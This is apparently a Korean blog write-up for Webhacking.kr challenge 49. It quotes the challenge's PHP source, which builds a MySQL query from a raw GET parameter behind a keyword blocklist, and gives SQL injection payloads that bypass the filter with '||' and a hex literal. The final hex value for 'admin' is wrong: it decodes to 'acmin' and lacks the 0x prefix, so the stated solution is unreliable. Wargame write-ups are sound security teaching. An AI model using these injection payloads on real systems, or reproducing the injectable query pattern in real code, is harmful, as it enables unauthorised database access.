관리 메뉴

Hax0r

[풀이] Webhacking.kr 49번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 49번 문제

영준이 2017.09.29 18:57

49번 문제는 300스코어의 문제이며, 이전의 문제 풀이 했을때 같은 쉬운 편에 속하는 문제와 비슷한 유형이다.

거의 데자뷰급..


페이지를 보면, 머리말에 `SQL INJECTION` 이라 기재되어있다.

그렇다. 본 문제는 SQL Injection 문제이다.


페이지내 작은 입력 폼이 보이고, "level" 이라는 라벨 옆 한개의 인풋 필드가 존재하는데, 이 필드의 기본 값은 "1" 이다.

기본값으로 요청을 해보니, 입력 폼 하단에 "zzibong" 이라는 값이 추가되어 응답한다.


이 후, 다른 값으로 요청해 보았을 때 위의 문자열을 더 이상 응답해주지않고있다.

"||", "&&" 등의 연산자를 테스트겸 추가하여 요청해보니 추가된 연산자에 따라서 "zzibong"값이 응답되었다.


문제 내 소스를 보니, 힌트 페이지가 숨겨져있었고, 숨겨진 힌트 내용은 아래와 같다.



if(time()<1258110000) exit();


if($_GET[lv])

{

if(eregi("union",$_GET[lv])) exit();

if(eregi("from",$_GET[lv])) exit();

if(eregi("select",$_GET[lv])) exit();

if(eregi("or",$_GET[lv])) exit();

if(eregi("and",$_GET[lv])) exit();

if(eregi("\(",$_GET[lv])) exit();

if(eregi("\)",$_GET[lv])) exit();

if(eregi("limit",$_GET[lv])) exit();

if(eregi(",",$_GET[lv])) exit();

if(eregi("/",$_GET[lv])) exit();

if(eregi("by",$_GET[lv])) exit();

if(eregi("desc",$_GET[lv])) exit();

if(eregi("asc",$_GET[lv])) exit();

if(eregi("cash",$_GET[lv])) exit();

if(eregi(" ",$_GET[lv])) exit();

if(eregi("%09",$_GET[lv])) exit();


$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));


echo($q[0]);

if($q[0]=="admin") @solve();


}



eregi 라는 method의 설명은 아래와 같다.


Case insensitive regular expression match


대소문자 구별 없이, 첫 번째 인자 값에 해당하는 문자열을 두번째 인자값에 찾는다.

이 후 참이라면 exit method keyword 를 통해 프로세스를 종료한다.


따라서 아래 목록에 있는 문자열은 사용할 수 없다는 것 이다.


  • union
  • from
  • select
  • or
  • and
  • \(
  • \)
  • limit
  • ,
  • /
  • by
  • desc
  • asc
  • cash
  •  
  • %09


이 후 'q' 라는 Variable 에 질의한 쿼리 응답 값을 대입하고, q의 첫번째 인덱스에 해당하는 값이 admin(select 구문 id 참고) 이라면 문제를 Solve 할 수 있다.

질의 되는 쿼리의 내용은 아래와 같다.




select id from members where lv={Get method lv parameter}


아래와 같은 형식으로 쿼리를 질의하면 문제를 해결할 수 있습니다.



select id from members where lv={Get method lv parameter} or id = "admin"


어때요, 참 쉽죠 ?

그렇다면 이제 우회해서 파라미터를 전송해야겠군요.


"or" 은 필터링 되어있으니, "||" 로 치환하여 요청합니다.

음.. 안되는군요. 이전 문제와 같은 맥락인데, 서버의 magic quotes 옵션이 켜져있는 것으로 추정되니 `char` 내부 함수를 인용해 아래와 같이 우회해봅니다.




lv=1||id=char(97,100,109,105,110)

select id from members where lv={Get method lv parameter} or id = char(97,100,109,105,110)



음.. 요청된 내용은 이상이 없는데, 동작을 안합니다.

좀 더 살펴보니, "\(","\)" 항목 덕분에 char 함수를 사용할 수 없었습니다.


그렇다면 hex 값으로 표현하여 우회해봅니다.

admin 값을 16진수로 바꾸면 61636D696E 입니다.

본 값으로 치환하여 재 요청하면, 해결됩니다.



lv=1||id=61636D696E

select id from members where lv={Get method lv parameter} or id = 61636D696E




저작자 표시 비영리 변경 금지
신고